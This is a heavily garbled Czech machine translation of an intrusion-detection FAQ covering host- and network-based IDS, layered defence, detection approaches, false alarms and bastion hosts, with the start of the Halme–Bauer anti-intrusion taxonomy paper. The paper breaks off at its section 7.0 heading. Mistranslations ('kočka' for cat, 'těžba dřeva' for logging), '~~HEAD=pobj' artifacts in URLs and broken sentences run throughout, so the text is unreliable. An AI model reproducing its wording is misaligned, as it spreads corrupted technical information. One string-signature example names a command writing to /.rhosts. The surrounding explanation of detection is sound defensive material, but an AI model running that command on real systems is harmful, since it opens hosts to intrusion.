ID Host-based zahrnuje nejen při pohledu na provoz komunikačního dovnitř a ven z jednoho počítače, ale také zkontrolovat integritu systémových souborů a sledování podezřelých procesů. Chcete-li získat úplné pokrytí na vaše stránky s ID hostitele bázi, je nutné zavést ID software na každém počítači. Existují dvě základní třídy softwaru detekce narušení Host-based: hostitelské obaly / osobní firewally a softwarový agent-based. Buď přístup je mnohem efektivnější při detekci důvěryhodných-zasvěcené útoků (tzv anomální aktivita), než je pomocí sítě ID, a oba jsou poměrně účinné pro detekci útoků zvenčí.

Hostitelské obaly nebo osobní firewally může být nakonfigurován tak, aby se podívat na všechny síťové pakety, pokusy o připojení nebo pokusů o přihlášení do monitorovaného stroje. To může zahrnovat i dial-in pokusy nebo jiné non-sítě související s komunikační porty. Nejznámějším příkladem obalu, balíčky jsou TCPWrappers ( http://coast.cs.purdue.edu/pub/tools/unix ) pro Unix a Nuke Nabber (http://www.amitar.com.au/DOWNLOADS/INTERNET/~~HEAD=pobj OCHRANA / NukeNabber_2_9b.html) pro Windows. Osobní firewally mohou také odhalit software na hostitelském pokouší připojit k síti, jako je například WRQ AtGuard ( http://www.atguard.com).

Kromě toho agenti host-based může být schopen sledovat přístupy a změny důležitých systémových souborů a změny v uživatelském oprávnění. Známí komerční verze zahrnují produkty z AXENT (získaného Symantec ), Cybersafe, ( ww.cybersafe.com ) ISS, ( www.iss.net ) a Tripwire ( www.tripwiresecurity.com ). (K dispozici je také Academic Zdroj Uvolnění Tripwire k dispozici, pokud váš web je akademický oddělení státní univerzitě.)

Kromě toho UNIX má bohatou sadu softwarových nástrojů pro provádění detekce narušení. Nikdo balíček bude dělat všechno, a software by měla být přizpůsobena individuálním počítači, který je sledovaný. Například, jestliže stroj má pouze několik uživatelů, možná pouze spojení z vnějšku a integritu systému souborů služeb, které mají být monitorovány; vzhledem k tomu, stroj s velkým množstvím uživatelů nebo síťového provozu může být nutné přísnější kontrolu. Typy softwaru, které pomáhají monitoru počítače patří: systémové a uživatelské soubory protokolu (syslog); Monitorování konektivita (TCPwrappers, lastlog); Monitorování procesů (lsof (http://vic.cc.purdue.edu/pub/tools/unix/lsof http://freshmeat.net/projects/lsof/ ), procesní účetnictví); monitorování využití disku (kvóty); Monitorování (Session možnosti ftpd zaznamenávat všechny přenosy souborů, proces účetních); Kontrolní systém (audit).

Detekce narušení UNIX na hostitelském počítači je jen tak dobrý, jako je těžba dřeva, která to dělá. Programy mohou být napsány pro analýzu log souborů a upozornit Sys správce e-mailem nebo pager, když je něco v nepořádku. Systém protokolování výstupu může být poslán do vzdáleného serveru nebo upravené tak, aby soubory protokolu jsou vloženy do nestandardních místech, aby se zabránilo hackerům zahlazení jejich stop. S převahou hackerů skriptů, sledování domácí pivo lze nastavit dávat pozor na konkrétní případy vloupání. Někteří "must-čte" pro Sys správce nový narušení hostit bázi je praktická Unix a Internet Security pomocí Simson Garfinkel a Gene Spafford, (2. vydání, vydané nakladatelstvím O'Reilly) a Intrusion Detection: Úvod do Internet dozor, korelace , Trace Back, pasti a reakce, Edward Amoroso "(publikoval Intrusion.Net Books). Manuálové stránky pro síťové daemonů poskytnout informace o tom, jak vyrobit protokolování. Jedno ze programů xxxstat (vmstat, netstat, nfsstat) nebo softwaru jako t! 'op ( ftp.groupsys.com/pub/top~~HEAD=pobj ) může pomoci poukázat na podezřelé aktivity. znát svůj systém, a vím, že to dobře.

a skutečně efektivní IDS bude používat kombinaci síti a hostitele na bázi detekce narušení. Zjistit, kde si užít každý typ a jak integrovat data je skutečný a rostoucí znepokojení.

Co je síť založenou Intrusion Detection?

Identifikátor síťový systém na bázi monitoruje provoz na svém segmentu sítě jako zdroj dat. To se obvykle provádí umístěním síťovou kartu do promiskuitního režimu zachytit veškerý síťový provoz, který prochází přes její segment sítě. Síťový provoz na dalších segmentech, a provoz na jiných komunikačních prostředků (jako jsou telefonní linky), nemůže být sledovány. Obě sítě-based a host-based ID snímače mají výhody i nevýhody. Na konci, budete pravděpodobně potřebovat kombinaci obou.

ID založené na síti zahrnuje pohledu na paketů v síti, jak se kolem nějakého senzoru. Senzor může vidět pouze pakety, které se dějí být provedeno na základě ITAS síťovém segmentu připojených k. Pakety jsou považovány za být předmětem zájmu, zda se shodují podpis. Tři základní typy podpisů řetězec podpisy, přístavních podpisy a stav záhlaví podpisy.

String podpisy hledat textový řetězec, který naznačuje možný útok. Podpis příklad řetězec pro systém UNIX by mohla být "kočka" + + "> /.rhosts", který v případě úspěchu by mohl způsobit systém UNIX, aby se stal extrémně citlivé na síťových útoků. Rafinovat řetězec podpis pro snížení počtu falešných poplachů, může být nezbytné použít podpis sloučenina řetězec. Sloučenina řetězec podpis ke společnému útoku webového serveru, může být "cgi-bin" a "aglimpse" a "kdyby".

Port podpisy jednoduše sledovat pokusy o připojení do známých, často útočili porty. Příklady těchto portů zahrnují Telnet (port TCP 23), FTP (TCP portu 21/20), sunrpc (TCP / UDP portu 111) a IMAP (port TCP 143). Pokud některý z těchto portů arenât používá stránky, pak příchozí pakety na tyto porty jsou podezřelé.

Podpisy záhlaví pozor na nebezpečné nebo nelogické kombinace v hlaviček paketů. Nejznámějším příkladem je WinNuke, kde je paket určen pro port NetBIOS a naléhavá ukazatel, nebo mimo pásmo ukazatel je nastaven. To vedlo k "modrá obrazovka smrti" pro systémy Windows. Další známý podpis záhlaví je TCP paket s oběma SYN a FIN příznaky nastavené, znamenat, že žadatel chce ke spuštění a zastavení připojení současně.

Známí, síťové systémy založené na detekci vniknutí zahrnují AXENT (kterou koupila společnost Symantec ), Cisco ( www.cisco.com ), Cybersafe ( www.cybersafe.com ), ISS ( www.iss.net ), a stín (www. nswc.navy.mil/ISSEC/CID).

Dobrá schopnost číslo bude používat jak host- a systémy sítí na bázi. Zjistit, kde si užít každý typ a jak integrovat data je skutečný a rostoucí znepokojení.

Co je vrstvená obrana?

Vrstvený přístup lze nejlépe přirovnat jako analogie zvětrávání mimo zimní bouři. Mnoho lidí zná pocit, že jsou přilepená doma během zimní vánice. To, co člověk dělá v zimní bouře jsou na teplo trochu polévky, zase až pec, přitulit se pod přikrývku a rozdělat oheň v krbu. Všechny tyto věci vedou k teplé a bezpečném pocitu při čekání na bouři projít. Je to využití samostatných věcí v domácnosti, která vede k celkovému přístupu, který nám dává tuto teplé a nejasný pocit v zimní bouře. Tak, počítačové bezpečnosti je nejúčinnější, pokud se používá několik vrstev zabezpečení v rámci organizace.

Nejběžnější mylná představa je, že firewall bude zabezpečit své počítačové vybavení a další kroky nemusí být přijata. Firewall je jen jednou ze součástí efektivního modelu zabezpečení. Přídavné komponenty nebo vrstvy by měly být přidány pro zajištění účinného modelu zabezpečení ve vaší organizaci. Model zabezpečení, který bude chránit vaše organizace by měla být postavena na následujících vrstev:

Použití více vrstev v modelu zabezpečení je nejefektivnější metoda odrazování neoprávněnému použití počítačových systémů a síťových služeb. Každá vrstva poskytuje určitou ochranu před napadením ze sítě, a porážka jedné vrstvy nesmí vést ke kompromisu celou organizaci. Každá vrstva má určitou vzájemnou závislost na ostatních vrstvách. Například systémy detekce a plán reakce na incidenty mít nějaké vzájemné závislosti. I když mohou být prováděny nezávisle na sobě, je nejlepší, když jsou realizovány společně. Mít systém detekce průniků, který vás může upozornit na neoprávněné pokusy o vašem systému má malou hodnotu, pokud plán Incident Response je na místě vypořádat se s problémy. Nejdůležitější součástí celkové bezpečnostní organizace je bezpečnostní politika. Musíte vědět, co je třeba chránit a do jaké míry. Všechny ostatní vrstvy modelu zabezpečení následovat logicky po realizaci organizace bezpečnostní politiky.

Stručně řečeno, systém detekce narušení bezpečnosti je jen jednou ze součástí efektivního bezpečnostního modelu pro organizaci. Celková ochrana integrity vaší organizace je závislá na realizaci všech vrstev modelu zabezpečení. Realizace vrstveného přístupu k bezpečnosti by měly být prováděny v logickém a metodickým způsobem pro dosažení nejlepších výsledků a zajistit celkovou duševní zdraví bezpečnostních pracovníků.

Co je založená na znalostech Intrusion Detection?

Existují dva doplňující přístupy k detekci průniků, přístupy založené na znalostech a přístupů chování vychází. Tato položka popisuje první přístup. Téměř všechny IDS nástroje jsou dnes založenou na znalostech. To se také vztahuje k v literatuře jako detekce zneužití.

Techniky detekce narušení založené na znalostech aplikovat poznatky nashromážděné o konkrétních útocích a systémových zranitelností. Detekce narušení Systém obsahuje informace o těchto chybách a hledá pokusy o zneužití těchto chyb. Je-li detekován jako pokus, spustí se poplach. Jinými slovy, každá akce, která není výslovně uznán jako útok je považován za přijatelný. Proto je přesnost systémů detekce narušení založených na znalostech je považováno za dobré. Nicméně, jejich úplnost (tedy k tomu, že se zjistit všechny možné útoky) závisí na pravidelné aktualizaci znalostí o útoku.

Výhody přístupů založených na znalostech tak, že mají potenciál pro velmi nízké ceny planý poplach a kontextuální analýzy navržené detekce narušení systému je podrobně popsáno, usnadňuje bezpečnostním technikem použití tohoto systému detekce narušení bezpečnosti, aby přijaly preventivní nebo nápravná akce.

Nevýhody patří obtížnost získávání požadovaných informací o známých útoků a udržet ho až do dnešního dne s novými zranitelností a prostředí. Údržba znalostní bázi detekce narušení systému vyžaduje pečlivou analýzu každého zranitelnosti, a je tedy časově náročný úkol. Přístupy založené na znalostech také muset čelit problému generalizace. Znalosti o útocích je velmi soustředěný, závisí na operačním systému, verze, platformy a aplikace. Výsledný nástroj detekce narušení bezpečnosti je proto úzce spjat s daným prostředím. Také, detekce zasvěcených útoky zasahující zneužití výsad je považováno za obtížnější, protože žádná chyba je ve skutečnosti zneužita útočníkem.

Co je chování založené Intrusion Detection?

Existují dva doplňující přístupy k detekci průniků, přístupy založené na znalostech a přístupů chování bázi. Tato položka popisuje druhý přístup. Je třeba poznamenat, že jen velmi málo nástrojů dnes realizovat tento přístup, a to i v případě, že zakládající Denning papír {D. Denning, detekčního Model Intrusion, IEEE Transactions on softwarového inženýrství} rozpozná toto jako požadavek pro IDS systémy.

Techniky detekce narušení chování založené na předpokládat, že narušení může být detekována pozorováním odchylku od normální nebo očekávané chování systému nebo uživateli. Model normální nebo platného chování je získávána z referenčního informací shromážděných různými prostředky. Detekce narušení Systém porovnává později tento model s aktuální aktivitou. Je-li pozorována odchylka, je spuštěn alarm. Jinými slovy, něco, co neodpovídá dříve naučené chování je považováno za obtěžující. Proto systém detekce narušení může být kompletní (tj všechny útoky by měly být chycen), ale jeho přesnost je obtížný problém (tj dostanete spoustu falešných poplachů).

Výhody přístupů chování bázi je, že dokáže detekovat pokusy o zneužití nové a nepředvídané zranitelná místa. Mohou dokonce přispět k (částečně) automatického zjišťování těchto nových útoků. Oni jsou méně závislé na mechanismech operačního systému specifické. Pomáhají také odhalit "zneužití privilegia" typům útoků, které nejsou ve skutečnosti zahrnují využití žádnou chybu zabezpečení. Stručně řečeno, je to paranoidní přístup: Vše, co nebyl viděn předtím je nebezpečné.

Vysoký počet falešných poplachů, je obvykle uváděn jako hlavní nevýhodou technik založených na chování, protože celý rozsah chování informačního systému nesmí být zahrnuty ve fázi učení. Také chování může v průběhu času měnit, zavedení potřebu pravidelného on-line rekvalifikaci profilu chování, což vede buď v nedostupnosti detekce narušení systému nebo v dalších falešných poplachů. Informační systém může podstoupit útoky u Zároveň Intrusion Detection System je učení chování. V důsledku toho, profil chování obsahuje rušivé chování, které není detekován jako neobvyklé.

Význam Intrusion Detection

(aktualizováno 1/8/00)

Evolution
Když mluvíme o systémech detekce narušení (IDS), řízení automaticky předpokládal, že to je řešení pro všechny sítě, organizace a sociální problémy. Většina lidí se zabývají touto technologií, jako je monolitický řešení. To není dobrý způsob, jak posoudit jakoukoli bezpečnostní technologie, to nefunguje takhle. Většina nedokáže rozpoznat, že IDS "původní návrh a funkcí je chránit důležité informace organizace z outsidera.

Nicméně, toto je nyní pomalu mění, stejně jako další organizace chtějí sledovat své "sítě", protože studie ukazuje, že většina všech ztrát v komerčním sektoru zahrnují zasvěcenci. Nyní chtějí používat IDS v některém z následujících kombinací: Chcete-li vypátrat zasvěcené, chytit při činu, získat důkazy potřebné k trestnímu stíhání, oheň je nebo si je před soud pro obvinění.

Dalším faktorem je, aby zvážila technologie je stále ještě v plenkách a průniky dostat vynechal kvůli jeho nezralosti. RAID'99 zjistili, že s cílem dosáhnout svého plného potenciálu jako forenzní nástroj, role IDS "se musí vyvíjet, aby zahrnovala lepší logování a A sbírek forenzní nástroje používat informace jako důkaz ( http://www.raid-symposium.org / ).

Nové útočné techniky jdou ven každý měsíc a technologie IDS se musí přizpůsobit těmto rychlým změnám. Seznam všech známých útoků se neustále mění omítkou kodifikuje statistickou "podpis" nový útok skličující úkol pro VaV laboratoře.

Současné Network Intrusion Detection System (NIDS) výrobky (první generace) používají převážně pasivní přístup ke shromažďování údajů pomocí protokolu analýzy tím, že sleduje provoz na síti. Většina IDS byly postaveny na podpisovém základny a detekce anomálií, které poskytují schopnost hledat nastavte "vzory" v paketech, ale mohou být také naladěn hledat věci, které by nikdy vidět. Přidáním konkrétního řetězce hledání podpisem (tj hledat důvěrné), těžba dřeva a reset TCP funkce výrazně zvyšuje schopnost IDS jako nástroj detekce a ochrany.

Práce vykonaná ve společném zabezpečení a ohrožení (CVE) redakční rady je výsledkem společného úsilí, které budou předem a standardizovat jména útoku a definice napříč dodavatelů. Vzhledem k tomu, jejích implementacích (1999), velký počet organizací prohlásili, že se snaží, aby jejich výrobek nebo databáze CVE-kompatibilní. Tento seznam si můžete prohlédnout na http://cve.mitre.org .

IDS zítřka
kvůli neschopnosti NIDS vidět všechny provoz na změnil Ethernet, mnoho firem se nyní obracejí IDS na Host-based (druhé generace). Tyto produkty lze použít mnohem efektivnější detekce narušení technik, jako je heuristických pravidel a analýzy. V závislosti na sofistikovanost senzoru, může také naučit a vytvořit uživatelské profily jako součást své databáze chování. Mapovat to, co je normální chování v síti by být provedeno v průběhu doby.

Síla a Limity čelí IDS
Dnes si uvědomujeme, že IDS se vyvinuly a jsou stále velmi mnoho výzkumných etap, aby rafinace a pohybem vpřed technologie (RAID 2000 na http://www.raid-symposium.org/raid2000/ ). Nicméně, zde je seznam výhod a omezení, aby zvážila před jejich nasazením:

Jako součást strategie Total obrany organizace, které poskytují dodatečnou ochranu a odstrašování proti:

Total Defense Strategy
IDS je jen další část nástrojem dobré bezpečnostní architektury a strategie mnohovrstevný obrany. To má své silné a slabé stránky, které je třeba posuzovat a zvažovat i předtím, než bude učiněno rozhodnutí nasadit jeden na síti. Toto rozhodnutí může být provedena poté, co testovat dva nebo tři proti svému výchozímu stavu v laboratorním prostředí. Tímto způsobem můžete změřit co nejpřesněji jeho účinky proti vaší sítě (tj vytížení, přesnost detekce, atd.). Můžete také chtít zkontrolovat některé IDS laboratorní studie. V listopadu 1999, jeden byl publikován Network Computing v http://www.nwc.com/1023/1023f1.html

Síla IDS je, že se ukazuje pozitivní stupeň připravenosti, které mohou být důležité pro dlouhodobý úspěch. Pokud se vaše firma je závislá na síťování, IDS je dobrý obchod a stojí za návrat.

Co je to falešný poplach a proč jsou falešně pozitivních problém?

Jednoduše řečeno, falešně pozitivní je každý normální nebo očekávané chování, který je identifikován jako anomální nebo škodlivé. To může spadat do několika kategorií.

1. Některé legitimní aplikace nemusíte striktně dodržovat dokumenty RFC. Podpisy zapsaná do RFC může vyvolat, pokud tyto aplikace běží.

2. Aplikace není vidět ve fázi vyškolení jednoho detekce anomálií systému bude pravděpodobně spustí poplach, když se aplikace pokusí spustit.

3. Podpis může být psán příliš široce, a tudíž zahrnují jak legitimní a nelegitimní provoz.

4. Anomální chování v jedné oblasti organizace může být přijatelné, zatímco vysoce podezření, že v jiné zemi. Jako příklad NBT provoz je normální v prostředí Windows LAN, avšak není obecně očekává, že na internetu.

Nejedná se o vyčerpávající seznam, ale nejčastější místa, která mohou mít IDSes falešných poplachů.

Když vezmete v úvahu všechny různé věci, které se mohou pokazit způsobit falešný poplach není divu, že falešně pozitivní výsledky jsou jedním z problémů, kterým čelí larges někoho, kdo provádí IDS.

Hlavním problémem, který falešně pozitivních vytvořit je, že mohou snadno přehluší legitimní IDS upozornění. Jediný pravidlo způsobující falešné poplachy lze snadno vytvářet tisíce záznamů v krátkém časovém období. Je-li předpoklad, že udělal analytik můžete prohlédnout jedno upozornit každých pět minut, analytik můžete prohlédnout kolem 100 záznamů za den. Přezkoumání jeden záznam každých pět minut je příliš rychlý na důkladné analýze, ale můžeme předpokládat, že některé výstrahy nebude vyžadovat důkladnou analýzu snížit průměrnou dobu potřebnou pro analýzu. Při pohledu na tato čísla je zřejmé, že pouze malý počet falešných pozitiv může přehlušit legitimní výstrahy. Výstrahy pro pravidla, která způsobuje opakovaná falešné poplachy jsou často ignorovány nebo zakázán. Od této chvíle je organizace efektivně slepý k útoku problematický pravidlo hledal.

Téměř každé pravidlo může vytvářet falešně pozitivní. Umění vedení IDS je naučit, jak minimalizovat falešných poplachů, aniž by oslepující organizace na příslušné útoky.

Co je to falešně negativní?

Falešně negativní jsou jakékoliv výstrahy, které by se stalo, ale neudělal to.

1. V systému založeném na podpisovém tam bude období, kdy se nové útoky nebyl uznán.

2. Mnoho útočníci se často mění svůj útok jen natolik, aby vyhnout aktuálních signatur. Mnoho útok toolkits patří schopnost poplést útok na běhu.

3. Stejně tak v systému založeném na podpisovém pravidlo může být napsán tak pevně, že to bude chytat pouze podmnožinu cílem útoků. Například pravidlo může zachytit útok nástroj, ale ne Útok nástroj B přestože oba nástroje využívají stejnou chybu.

4. V prostředí, která spočívá v detekci anomálií nebo na bázi detekce narušení systému hostitele (HID) spoléhá na změny souborů předpoklad musí být, že v době trénování sítě nebo systém nebyl ohrožen. Pokud to není pravda, že bude falešně negativní pro jakékoliv již využívaných podmínek.

5. Přetížené IDS klesne pakety potenciálně způsobit falešně negativní.

Falešně negativní vytvořit dva problémy. Za prvé, jsou tam chyběl útoky, které nebudou zmírněny. Za druhé, a pravděpodobně ještě důležitější, falešně negativní dávat falešný pocit bezpečí.

Proč se tolik falešných poplachů?

No, v první řadě je to velmi obtížné odhalit průniky. Jsme svědky pouze první generace komerčních nástrojů, a jsou omezeny ve svém rozsahu. Je však jasné, že dnešní nástroj buď generovat velké množství falešných pozitiv (tj signalizace útok, když žádná taková není) nebo vynecháte útoky. Dokonce i nástroje na bázi signatur útoku generovat velký počet falešných poplachů, v nejvíce neočekávaných případech.

Jeden z nejvíce zřejmých důvodů, proč dochází k falešným poplachům je proto, že nástroje jsou bez státní příslušnosti. Pro detekci vniknutí, jednoduché vzorů podpisů je často nedostatečná. Nicméně, to je to, co většina nástrojů dělat. Pak, v případě, že podpis není pečlivě navržen tak, že bude spousta zápasů. Například nástroje pro detekci útoků v sendmail tím, že hledá slov "debug" nebo "Wizard" jako první slovo řádku. Je-li to v těle zprávy, to je v podstatě neškodný, ale v případě, že nástroj, nerozlišuje mezi záhlaví a tělo zprávy, potom se generuje falešný poplach.

Dalším příkladem společnosti s http žádostí o špatné skripty. Člověk by vlastně chtěla vědět, zda žádost byla úspěšná, nebo ne, protože je to velmi odlišný příběh reagovat. V druhém případě se jedná o menší nepříjemnost, v prvním nebezpečného porušení bezpečnosti. Vzhledem k tomu, nástroje nemají ponětí o relaci, vytvoření takového podpisu je poměrně obtížné.

Ve falešné pozitivní oblasti, může nástroje není zvládnout množství dat, které mají být analyzovány. Mějte na paměti, že 99,99% analyzovaných údajů je k ničemu, a že pro každý z těchto kusů dat, všechny útočné testy mají být provedeny! Z tohoto důvodu přesnosti je často obchoduje na rychlost. Také existuje mnoho způsobů, jak detekovat útok, a někdy i útočníci rychle přijít s novými metodami, které obcházejí mechanismus detekce.

A konečně, existuje mnoho dění v průběhu normálního života jakéhokoli systému nebo sítě, které mohou být zaměněny za útoky. Mnoho sysadmin aktivity může být katalogizovány jako anomální. Z tohoto důvodu by měla být stanovena jasná korelace mezi útočných dat a administrativních dat cross-zkontrolovat, že všechno děje v systému je vlastně žádoucí.

Co je hostitel bašta?

Hostitel bašta je počítač, který je plně vystavena útoku. Systém je na veřejné straně demilitarizované zóny (DMZ), nechráněné firewallem nebo filtrování směrovače. Často role těchto systémů jsou velmi důležité pro zabezpečení sítě systému. Ve skutečnosti jsou firewally a routery lze považovat za bašta hostitelů. Vzhledem k jejich vystavení hodně úsilí musí být uveden do navrhování a konfiguraci bašta hostitelů, aby se minimalizovalo šance na proniknutí. Jiné typy bašta hostitelů zahrnují web, mail, DNS a FTP servery. Někteří správci sítě použít také obětní beránky jako bašta hostitelů, tyto systémy jsou záměrně vystaveny potenciální hackery k oběma zpožděním a usnadnit sledování pokusů o vloupání.

Efektivní bašta hostitelé jsou nastaveny velmi odlišně od typických hostitelů. Každý hostitel bašta plní specifickou roli, všechny nepotřebné služby, protokoly, programy a síťové porty jsou zakázány nebo odstraněny. Bastion hostitelé nesdílejí autentizační služby s důvěryhodných hostitelů v síti tak, že pokud je ohrožena bašta vetřelec stále nebude mít "klíče k zámku." Hostitel bašta je tvrzená omezit potenciální způsoby útoku. Konkrétní kroky, které se vytvrzují konkrétní bašta hostitele závisí na zamýšleném úlohu tohoto hostitele, jakož i operační systém a software, který bude spuštěn. Seznamy řízení přístupu (ACL) budou upraveny na souborovém systému a dalších objektů systému; všechny nepotřebné porty TCP a UDP budou zakázány; Všechny non-kritické služby a démoni budou odstraněny; tolik utility a konfigurace systému nástroje jak je praktická zkouška bude také odstraněn. By měly být nainstalovány všechny příslušné servisní balíčky, horké opravy a záplaty. Protokolování všech událostí souvisejících s bezpečností musí být zapnutý a musí být přijata k zajištění integrity protokolů tak, že úspěšný útočník je schopen vymazat důkaz o své návštěvy kroky. Jakékoli místní uživatelský účet a heslo databáze by měly být zašifrovány, pokud je to možné.

Posledním krokem k zajištění hostitele bašta může být nejtěžší: zajištění bez ohledu síťových aplikací hostitel běží. Velmi často dodavatelem serveru web nebo streaming médií nebere v úvahu bezpečnostní rizika při vývoji svých produktů. Je obvykle do systémového administrátora zjištění, testováním, co ACL, které potřebují ke změně uzamknout aplikace k síti tak důkladně, jak je to možné bez zakázání právě ty vlastnosti, které z něj dělají užitečný nástroj. Je také nutné pozorně sledovat nejnovější oznámení od dodavatele týkající se bezpečnostní problémy, řešení a záplaty. Čím více populární síťové aplikace také tendenci inspirovat vznik samostatných e-mailových konferencí, diskusních skupin, a webové stránky, které mohou být sledovány pro další postřehy.

taxonomii technik detekce narušení

Lawrence R. Halme halme@arca.ca.com
R. Bauer Kenneth bauer@arca.ca.com

Arca Systems, Inc.
2540 North First Street, Suite 301
San Jose, CA 95131 do 1016

Abstrakt: Tato práce zkoumá základní podkladové zásady kontroly narušení a destiluje vesmír anti-narušení technik do šesti vysoké úrovni, vzájemně se podporujících přístupy. Systémové a síťové útoky lze zabránit, předešel, prohnuté, odrazen, detekován a / nebo samostatně kontroval. Tato Anti-Intrusion taxonomie (Aint) anti-vniknutí technik považuje za méně prozkoumaných přístupy k periferii "EZS", které jsou nezávislé na dostupnosti bohatého auditní stopa, stejně jako známější detekce narušení technik. Podobně jako Open Systems Referenční model podporuje porozumění komunikačních protokolů identifikací jejich vrstvy a účel, autoři věří, že toto anti-Intrusion taxonomii a související metody a techniky pomoci objasnit vztah mezi anti-vniknutí technikami popsanými v literatuře a akcemi prováděnými v komerčně dostupných produktů. Taxonomie lze použít k posouzení výpočetních prostředích, která možná již podporují Intrusion Detection System (IDS) implementace pomoci identifikovat užitečných doplňkových Intrusion Defense přístupy.

Klíčová slova: Intrusion, detekce, zneužití, anomálie, protiopatření, taxonomie.

1.0 Úvod
Boj proti počítačový systém průniky byly v minulosti součástí preventivní design, konfiguraci a provoz techniky, aby vniknutí obtížné. S vědomím, že vyklenutí k funkcím obavy a rozpočtovým omezením theseefforts budou nedokonalé, pojetí bylo navrženo pro detekci vniknutí analyzuje shromážděná data auditu. Studie detekce anomálií byla předběžným postulátu, že by bylo možné rozlišovat mezi masquerader a oprávněný uživatel tím, že pozná odchylky od použití historického systému [AND80]. To bylo doufal, že analýza přístup k auditu by bylo užitečné určit nejen suchary, kteří získali informace o identifikaci a autentizaci, aby umožnily vydávat za oprávněné uživatele, ale také legitimní uživatele, kteří hráli neoprávněnou aktivitu (misfeasors). Ilegální uživatelé schopni obejít bezpečnostní mechanismy jiný identifikován problém byl, ale považována za těžší rozpoznat, protože by mohly ovlivnit auditování systému.

Brzy hands-on experimenty potvrdily, že uživatel pracovní modely mohou být rozlišeny s využitím stávajících auditní stopu [HAL86]. Techniky se diskutovalo, aby audit, který byl původně určen především pro účetní účely, vhodnější bezpečnostní analýzy. Model byl vyvinut, který se domníval, hodně z rámce pro obecné použití systému detekce narušení [DEN87]. Detekce narušení vědci rozdělili na dva tábory - ty, kteří hledají signatury útoku v datech o auditu, který oznamuje známým zneužití (např MIDAS [SEB88]), a ty, kteří hledají důkazy o použití, která je anomální z historických norem (např IDES [LUN88a]) , Komplementární kombinace těchto přístupů do vyšetřovací nástroj s autonomní reakci na mimořádně ohrožující deviace bylo navrženo [HAL88]. Průzkum dokumenty svědčí o dramatickém nárůstu počtu výzkumného úsilí vyšetřovat různé anomálie a zneužití detekce přístupy ([LUN88b], [TIS90]).

Na počátku devadesátých let viděl test a komerční instalace a provoz řady IDSâs včetně IDES SRI a NIDES, kupka sena Laboratoř Inc. Haystack a Stalker a distribuovaný systém detekce Air Force Intrusion (Requirements). Důraz rozšířena o integraci zdrojů auditu z mnoha heterogenních platforem, a přenositelnost platformy. Distribuované detekce narušení je těžištěm práce na University of California v Davisu [HEBE92] au letectva [DIDS91]. Detekce narušení bezpečnosti zůstává i nadále aktivní pole výzkumu.

Ačkoli hodně jsme se naučili z těchto snah zaměřených na výzkum, jejich důraz byl kladen na rozvoj optimalizovaných technik pro detekci vniknutí. Méně myšlenka byla dána k vytvoření funkční schéma doplňkových anti-vniknutí přístupů. Počítačové a internetové zneužití stal častým tématem todayâs médiích hlavního proudu, a poptávka po anti-narušení technologie prudce roste. Nicméně, detekce narušení produkty jsou dosud esoterické a nejsou dobře integrovány, aby spolupracovaly s doplňkovými přístupy, jako jsou vniknutí prevence firewally. Taxonomie představujeme v tomto dokumentu se snaží dát perspektivu a porozumění pomoci. To poskytuje základ pro formulaci systematicky a komplexně proti vniknutí přístup kategorizace a podporuje více řešení přiblížení.

2,0 Anti-Intrusion Přístupy
Během posledních patnácti letech Velký důraz byl kladen na detekci jako nejplodnější oblasti výzkumu a vývoje v boji proti dotěrným aktivitu (oba z vnějších sušenek, jakož i zasvěcenci zneužívat svých privilegií). Méně považován byly jiné doplňkové anti-vniknutí techniky, které mohou hrát cenné role. Jako pracovní prostředí stále propojeny a vystaveny budou poskytovatelé služeb potřebují stále více spoléhat na širokou škálu proti vniknutí techniky, nejen IDS. Tento dokument organizuje tyto techniky (ilustrovaný na obrázku 1) do Anti-Intrusion taxonomii (Aint). Dále jen "filtrování" úspěšných průniků je graficky znázorněna zúžení úspěšného pokusu o vniknutí pásmu.

Následující text popisuje šest anti-vniknutí přístupy. Zajišťujeme také analogickou reálného světa ilustraci každý přístup, která platila pro potírání možnost, že vaše peněženka odcizen chůzi dolů městské ulice. Sekce následovat která propracovaný, jak tyto přístupy se vztahují k počítačovým systémům v rámci Aint.

3.0 Prevence narušení
prevence narušení techniky (vynucené interně nebo externě do systému) se snaží, aby se zabránilo nebo alespoň těžce poškozují pravděpodobnost úspěchu konkrétního vniknutí. Tyto techniky pomáhají zajistit, že systém je koncipován tak dobře, navrženy, implementovány, nakonfigurovat a provozovány, že příležitost pro průniky je minimální. Vzhledem k tomu, vestavěný prevence se snaží znemožnit vniknutí do vozidla dojde na cílovém systému, to může být považováno za nejsilnější anti-vniknutí techniku. V ideálním případě by tento přístup zabránit všem vniknutí, negovat potřebu pro detekci a následné reakce technik. Nicméně, ve skutečném světového systému tato technika sama dokazuje neudržitelný a je nepravděpodobné, které mají být provedeny, aniž některých zbývajících využitelných poruch a závislosti na konfiguraci / údržbu. Add-on preventivní opatření proti rozšiřovat obranu existujícího systému patří zranitelnosti skenovací nástroje a síťových firewallů.

4.0 Intrusion Preemption
Intrusion Preemption techniky stávka útočně před pokus o útok ke zmírnění pravděpodobnosti určitého vniknutí vyskytující později. Tento přístup zahrnuje takové techniky jako je vzdělávání uživatelů, propagaci legislativy pomáhat při odstraňování příznivého prostředí pro vniknutí, přičemž včasná opatření proti uživatele, který se zdá stále více se odchyluje od rovný-and-úzké a infiltrovat cracker společenství, aby se dozvědět více o techniky a motivace. Spíše než reaktivní obranu nabízených detekce a protiopatření, předkupní vztahuje k aktivnímu zásahu proti zdroji dosud nezahájeném průniky. Nekontrolovaná použití těchto technik může představovat civilní otázky svobody.

5.0 Intrusion Zastrašování
Intrusion Zastrašování se snaží, aby jakýkoli pravděpodobné, že odměna z pokusu o narušení jeví větší problémy, než to stojí. Varovná podporovat útočníkovi přejít na jiný systém s více slibné vyhlídky nákladů a přínosů. Tento přístup zahrnuje devalvující zdánlivou systém v hodnotě přes maskování a zvýšení vnímané riziko přistižení tím, že zobrazuje upozornění, zvyšovat paranoiu aktivního monitorování a vytvoření překážky proti nežádoucímu použití. Intrusion varovná liší od mechanismů prevence narušení v tom, že jsou slabší připomínkou / nepohodlí mechanismy, spíše než vážné pokusy, aby se zabránilo vniknutí.

6,0 Intrusion Deformace
Intrusion Deformace napálí vetřelce do podezření, že uspěl v přístupu k systémové prostředky, zatímco místo toho byl přitahován nebo odsunut do speciálně připravené, kontrolovaném prostředí pro pozorování (tj "ohrádka" nebo "vězení"). Řízené monitorování neopatrného vetřelce šířící se z jeho triků je vynikajícím zdrojem informací útoku bez zbytečného rizika pro "skutečné" systém [STO89]. Některé systémové prosazována deformace techniky mohou být považovány za zvláštní druh protiopatření, ale koncept zahrnuje také techniky, které nevyžadují chráněné systém tak, aby bylo někdy přistupovat pomocí vetřelce (např, "zesvětlení tyč systémy").

7,0 Intrusion Detection
